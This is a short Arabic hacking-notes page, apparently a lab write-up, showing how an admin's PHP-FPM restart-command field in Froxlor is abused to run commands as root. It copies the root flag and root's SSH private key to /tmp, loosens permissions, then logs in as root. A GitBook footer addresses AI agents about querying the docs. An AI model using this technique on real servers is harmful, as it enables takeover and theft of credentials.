> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/cms/froxlor-cms-exploitation.md).

# Froxlor

## استغلال Froxlor - PHP-FPM

<div data-full-width="false"><figure><img src="/files/af6648f74f4bee07dc3d40b72a9206fbba7d2ea5" alt=""><figcaption></figcaption></figure></div>

**إنشاء إصدار PHP جديد:**

بعد تسجيل الدخول، انتقل إلى `PHP > إصدارات PHP-FPM` وقم بإنشاء إصدار جديد. في حقل أمر إعادة تشغيل PHP-FPM، أدخل: `cp /root/root.txt /tmp/root.txt`

<figure><img src="/files/e93df3dbaa9553326dcbfd673df3303242c29223" alt=""><figcaption></figcaption></figure>

احفظ الإعدادات، ثم انتقل إلى `http://127.0.0.1:8081/admin_settings.php?start=phpfpm`. عطّل PHP-FPM، ثم احفظ، وأعِد تفعيله، واحفظ مرة أخرى. يؤدي هذا إلى تشغيل أمر النسخ.

<figure><img src="/files/9d48efee5c93fc7cd01317349b2515d4eaf8143e" alt=""><figcaption></figcaption></figure>

تم نسخ الملف الآن؛ اضبط الأذونات بعد ذلك:

<figure><img src="/files/a281a6c39db0ca6eafdbdfd61f6df42590e54774" alt=""><figcaption></figcaption></figure>

كرر العملية نفسها، مع استبدال الأمر بـ:

```bash
chmod 644 /tmp/root.txt
```

### راية root : )

<figure><img src="/files/bba9702973bb018de2d1931fe75903aced87472a" alt=""><figcaption></figcaption></figure>

للاتصال بصلاحيات root، انسخ مفتاح SSH الخاص بـ root `id_rsa` ثم كرر العملية لإصلاح الأذونات:

```bash
cp /root/.ssh/id_rsa /tmp/id_rsa
```

```bash
chmod 644 /tmp/root.txt
```

<figure><img src="/files/df387b8f820354883df038d6b638505a07feadb6" alt=""><figcaption></figcaption></figure>

ثم اتصل عبر SSH باستخدام المفتاح:

```bash
ssh -i id_rsa root@localhost
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/cms/froxlor-cms-exploitation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
